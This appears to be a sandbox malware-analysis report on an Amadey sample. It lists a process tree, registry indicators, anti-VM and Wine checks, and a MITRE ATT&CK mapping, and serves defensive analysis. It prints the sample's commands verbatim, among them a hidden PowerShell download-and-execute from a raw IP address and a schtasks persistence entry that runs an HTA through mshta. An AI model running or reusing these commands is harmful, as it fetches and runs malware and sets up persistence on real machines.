amadey | f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1g67m0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2E6462.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3i20Z.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
50	1572	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1572	powershell.exe
4616	powershell.exe
4528	powershell.exe
3552	powershell.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1g67m0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1g67m0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2E6462.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3i20Z.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2E6462.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3i20Z.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	1g67m0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	4i128L.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 9 IoCs

pid	Process
3232	F9N15.exe
2076	L0E56.exe
2904	1g67m0.exe
3652	skotes.exe
5052	2E6462.exe
4592	3i20Z.exe
2900	4i128L.exe
4456	skotes.exe
2280	skotes.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	1g67m0.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	2E6462.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	3i20Z.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	skotes.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	F9N15.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	L0E56.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
2904	1g67m0.exe
3652	skotes.exe
5052	2E6462.exe
4592	3i20Z.exe
4456	skotes.exe
2280	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1g67m0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3084	4592	WerFault.exe	89

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	L0E56.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1g67m0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2E6462.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3i20Z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4i128L.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	F9N15.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3i20Z.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3i20Z.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1576	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3632	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2904	1g67m0.exe
2904	1g67m0.exe
3652	skotes.exe
3652	skotes.exe
5052	2E6462.exe
5052	2E6462.exe
4592	3i20Z.exe
4592	3i20Z.exe
4592	3i20Z.exe
4592	3i20Z.exe
3552	powershell.exe
3552	powershell.exe
4616	powershell.exe
4616	powershell.exe
4528	powershell.exe
4528	powershell.exe
1572	powershell.exe
1572	powershell.exe
4456	skotes.exe
4456	skotes.exe
2280	skotes.exe
2280	skotes.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	1572	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2904	1g67m0.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 3232	2756	f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe	83
PID 2756 wrote to memory of 3232	2756	f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe	83
PID 2756 wrote to memory of 3232	2756	f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe	83
PID 3232 wrote to memory of 2076	3232	F9N15.exe	84
PID 3232 wrote to memory of 2076	3232	F9N15.exe	84
PID 3232 wrote to memory of 2076	3232	F9N15.exe	84
PID 2076 wrote to memory of 2904	2076	L0E56.exe	85
PID 2076 wrote to memory of 2904	2076	L0E56.exe	85
PID 2076 wrote to memory of 2904	2076	L0E56.exe	85
PID 2904 wrote to memory of 3652	2904	1g67m0.exe	86
PID 2904 wrote to memory of 3652	2904	1g67m0.exe	86
PID 2904 wrote to memory of 3652	2904	1g67m0.exe	86
PID 2076 wrote to memory of 5052	2076	L0E56.exe	87
PID 2076 wrote to memory of 5052	2076	L0E56.exe	87
PID 2076 wrote to memory of 5052	2076	L0E56.exe	87
PID 3232 wrote to memory of 4592	3232	F9N15.exe	89
PID 3232 wrote to memory of 4592	3232	F9N15.exe	89
PID 3232 wrote to memory of 4592	3232	F9N15.exe	89
PID 2756 wrote to memory of 2900	2756	f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe	108
PID 2756 wrote to memory of 2900	2756	f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe	108
PID 2756 wrote to memory of 2900	2756	f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe	108
PID 2900 wrote to memory of 2288	2900	4i128L.exe	109
PID 2900 wrote to memory of 2288	2900	4i128L.exe	109
PID 2288 wrote to memory of 1576	2288	cmd.exe	113
PID 2288 wrote to memory of 1576	2288	cmd.exe	113
PID 2288 wrote to memory of 4676	2288	cmd.exe	115
PID 2288 wrote to memory of 4676	2288	cmd.exe	115
PID 4676 wrote to memory of 3552	4676	cmd.exe	116
PID 4676 wrote to memory of 3552	4676	cmd.exe	116
PID 2288 wrote to memory of 5040	2288	cmd.exe	117
PID 2288 wrote to memory of 5040	2288	cmd.exe	117
PID 5040 wrote to memory of 4616	5040	cmd.exe	118
PID 5040 wrote to memory of 4616	5040	cmd.exe	118
PID 2288 wrote to memory of 1152	2288	cmd.exe	119
PID 2288 wrote to memory of 1152	2288	cmd.exe	119
PID 1152 wrote to memory of 4528	1152	cmd.exe	120
PID 1152 wrote to memory of 4528	1152	cmd.exe	120
PID 2288 wrote to memory of 3632	2288	cmd.exe	121
PID 2288 wrote to memory of 3632	2288	cmd.exe	121
PID 2288 wrote to memory of 3108	2288	cmd.exe	122
PID 2288 wrote to memory of 3108	2288	cmd.exe	122
PID 3108 wrote to memory of 1572	3108	mshta.exe	123
PID 3108 wrote to memory of 1572	3108	mshta.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe
"C:\Users\Admin\AppData\Local\Temp\f47d3157c8670a7461b36b9231748eb3e8be0a1e910030fb29a885f0e6462032.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\F9N15.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\F9N15.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\L0E56.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\L0E56.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2076
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1g67m0.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1g67m0.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3652
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2E6462.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2E6462.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5052
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3i20Z.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3i20Z.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4592
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4592 -s 1572
      4⤵
      Program crash
      PID:3084
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4i128L.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4i128L.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1057.tmp\1058.tmp\1059.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4i128L.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2288
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:1576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4676
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1152
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4528
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "U9VMymaKf3r" /tr "mshta \"C:\Temp\VYpeSBEI3.hta\"" /sc minute /mo 60 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3632
  - - C:\Windows\system32\mshta.exe
      mshta "C:\Temp\VYpeSBEI3.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4592 -ip 4592
1⤵
PID:4780

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4456

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion